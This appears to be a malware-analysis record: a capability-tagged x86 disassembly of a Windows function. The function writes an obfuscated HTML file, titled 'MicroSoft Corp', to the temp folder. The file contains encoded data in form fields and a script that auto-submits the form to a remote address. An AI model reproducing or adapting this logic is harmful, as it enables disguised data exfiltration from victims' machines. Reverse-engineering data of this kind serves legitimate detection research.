Function at 0x40a6cd
Capabilities:
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x20058
call fcn.0040d87c
push ebx
push esi
push edi
mov esi, 0x51484461
mov eax, esi
mul esi
mov dword [ebp - 0x2002c], eax
mov esi, eax
and dword [ebp - 0x1000c], 0
and dword [ebp - 0x20014], 0
mov eax, 0x11ba
mul esi
mov dword [ebp - 0x20030], eax
mov esi, eax
lea eax, [ebp - 0x10008]
push eax
push dword [ebp + 0xc]
call fcn.00404ddd
add esp, 8
mov ebx, eax
or ebx, ebx
jne 0x40a72a
xor eax, eax
jmp 0x40b2a5
cmp dword [ebp - 0x10008], 0
jne 0x40a746
push ebx
call sub.KERNEL32.DLL_LocalFree
xor eax, eax
jmp 0x40b2a5
push dword [ebp + 0x14]
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x20034], eax
mov eax, 0x19
mul dword [ebp - 0x10008]
mov dword [ebp - 0x20038], eax
mov edi, dword [ebp - 0x20034]
imul edi, dword [ebp - 0x20034], 0x32
mov edx, dword [ebp - 0x20038]
lea edi, [edx + edi + 0x400]
push edi
push 0x40
call sub.KERNEL32.DLL_LocalAlloc
mov dword [ebp - 0x10004], eax
mov eax, esi
mul esi
mov dword [ebp - 0x2003c], eax
mov esi, eax
push dword [ebp + 8]
push 0x104
call sub.KERNEL32.DLL_GetTempPathA
mov eax, dword [ebp + 8]
mov dword [ebp - 0x20040], eax
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40a7b4
mov edi, eax
push 8
mov edx, dword [ebp - 0x20040]
add edx, edi
push edx
call fcn.00402cf1
add esp, 8
xor esi, 0x6c8f
push str..htm
push dword [ebp + 8]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._html_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_sprintf
add esp, 8
xor esi, 0x6e63
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a824
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a859
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
xor esi, 0x64a5
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a884
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._head_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a8bc
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x7fc0
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a8f7
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push dword [ebp + 0x24]
push str.MicroSoft_Corp
mov eax, dword [ebp - 0x10004]
push eax
push str._s_title__s_u__title_
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a939
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__head_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, 0x420b
mul esi
mov dword [ebp - 0x20044], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a980
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str._body_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40a9c8
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
mov eax, esi
xor eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
push edx
push str.f_.3u
lea edi, [ebp - 0x20026]
push edi
call sub.CRTDLL.DLL_sprintf
lea eax, [ebp - 0x20026]
push eax
push dword [ebp + 0x10]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_form_action__s__method_POST__name__s__
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x20
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aa41
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aa66
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x5a6e
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aa91
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aab6
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, 0xe74
mul esi
mov dword [ebp - 0x20048], eax
mov esi, eax
push 0x42fbf9
push dword [ebp + 0x14]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ab07
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ab2c
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x6f29
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ab67
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
cmp dword [ebp + 0x20], 0
je 0x40acef
and dword [ebp - 0x2004c], 0
jmp 0x40acd2
mov byte [ebp - 0x10000], 0
sub esi, 0x67f1
and dword [ebp - 0x20050], 0
jmp 0x40ac12
mov eax, dword [ebp - 0x2004c]
add eax, dword [ebp - 0x20050]
cmp eax, dword [ebp - 0x10008]
jae 0x40ac22
mov edi, dword [ebp - 0x2004c]
add edi, dword [ebp - 0x20050]
movzx edi, byte [ebx + edi]
mov eax, edi
mov ecx, 0x1a
cdq
idiv ecx
add edx, 0x61
push edx
mov eax, edi
mov ecx, 0x1a
mov edx, 0x4ec4ec4f
mul edx
shr edx, 3
mov dword [ebp - 0x20054], edx
mov edi, edx
add edi, 0x61
push edi
lea edi, [ebp - 0x10000]
push edi
push str._s_c_c
lea edi, [ebp - 0x10000]
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x14
mov eax, 0x2a51
mul esi
mov dword [ebp - 0x20058], eax
mov esi, eax
inc dword [ebp - 0x20050]
cmp dword [ebp - 0x20050], 0x80
jb 0x40ab93
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
lea eax, [ebp - 0x10000]
push eax
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
mov eax, esi
xor eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ac72
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ac97
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40acbc
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
xor esi, 0x42e8
add dword [ebp - 0x2004c], 0x80
inc dword [ebp - 0x1000c]
mov eax, dword [ebp - 0x10008]
cmp dword [ebp - 0x2004c], eax
jb 0x40ab7d
mov dword [ebp - 0x20014], eax
jmp 0x40ae99
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x10008], eax
jmp 0x40ae75
cmp byte [ebp - 0x10000], 0
je 0x40ae75
sub esi, 0x1f05
mov eax, dword [ebp + 0x1c]
add eax, 0xc800
cmp dword [ebp - 0x10008], eax
jae 0x40ae99
mov eax, dword [ebp - 0x10008]
mov dword [ebp - 0x20014], eax
mov eax, dword [ebp + 0x18]
cmp byte [eax], 0x69
je 0x40adb2
cmp byte [eax + 1], 0x70
je 0x40adb2
cmp byte [eax + 2], 0
je 0x40adb2
push dword [ebp + 0x14]
push 0x43027a
lea eax, [ebp - 0x20010]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
mov eax, esi
sub eax, esi
mov esi, eax
lea ecx, [ebp - 0x20010]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40ad6a
mov edi, eax
mov word [ebp - 0x20016], di
lea eax, [ebp - 0x10000]
push eax
movzx eax, word [ebp - 0x20016]
lea eax, [ebp + eax - 0x20010]
push eax
call fcn.0040d89c
lea eax, [ebp - 0x20010]
push eax
call fcn.0040a5fb
add esp, 4
mov dword [ebp - 0x10010], eax
add esi, 0x4937
jmp 0x40adc5
lea eax, [ebp - 0x10000]
push eax
call fcn.0040a5fb
pop ecx
mov dword [ebp - 0x10010], eax
push dword [ebp - 0x1000c]
push dword [ebp + 0x18]
push dword [ebp - 0x10010]
mov eax, dword [ebp - 0x10004]
push eax
push str._s_input_type_edit__value_s_name_s_u__br__r_n
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x18
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ae0e
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
xor eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ae39
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40ae5e
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push dword [ebp - 0x10010]
call sub.KERNEL32.DLL_LocalFree
xor esi, 0x6455
inc dword [ebp - 0x1000c]
lea eax, [ebp - 0x10000]
push eax
push dword [ebp - 0x10008]
push ebx
call fcn.0040a51f
add esp, 0xc
mov dword [ebp - 0x10008], eax
or eax, eax
jne 0x40acfd
push str._input_type_submit__value_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aed1
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x1ab6
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40aefc
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40af21
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__form_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
add eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40af6f
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40af94
push str.nbsp_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
sub esi, 0x3690
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40afbf
push str._br_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40afe4
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b019
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push str._script_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
mul esi
mov dword [ebp - 0x2004c], eax
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b05d
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.function_z__
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b095
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0x42fb80
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x7246
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b0d3
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
lea eax, [ebp - 0x20026]
push eax
mov eax, dword [ebp - 0x10004]
push eax
push str._sdocument._s.submit___
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b114
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
add esi, 0x4c63
push 0x42fb66
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b152
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0x3e8
cdq
idiv ecx
mov edi, edx
add edi, 0x2710
push edi
mov edi, dword [ebp - 0x10004]
push edi
push str._ssetTimeout__z_____u__
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
add esi, 0x236e
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b1a8
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push str.__script_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
mov eax, esi
sub eax, esi
mov esi, eax
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b1e6
push 0x4302a4
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
call sub.CRTDLL.DLL_rand
mov ecx, 0xa
cdq
idiv ecx
cmp edx, 5
jge 0x40b21b
call sub.CRTDLL.DLL_rand
mov ecx, 0x63
cdq
idiv ecx
push edx
mov edi, dword [ebp - 0x10004]
push edi
push str._s______.2u____
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
xor esi, 0x542a
push str.__body__html_
push dword [ebp - 0x10004]
call sub.CRTDLL.DLL_strcat
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov dword [ebp - 0x2001c], eax
mov eax, esi
sub eax, esi
mov esi, eax
push dword [ebp - 0x10004]
call sub.KERNEL32.DLL_lstrlenA
push 0
lea edi, [ebp - 0x1000c]
push edi
push eax
push dword [ebp - 0x10004]
push dword [ebp - 0x2001c]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 0x2001c]
call sub.KERNEL32.DLL_CloseHandle
push dword [ebp - 0x10004]
call sub.KERNEL32.DLL_LocalFree
mov eax, esi
xor eax, esi
mov esi, eax
push ebx
call sub.KERNEL32.DLL_LocalFree
mov eax, dword [ebp - 0x20014]
pop edi
pop esi
pop ebx
leave
ret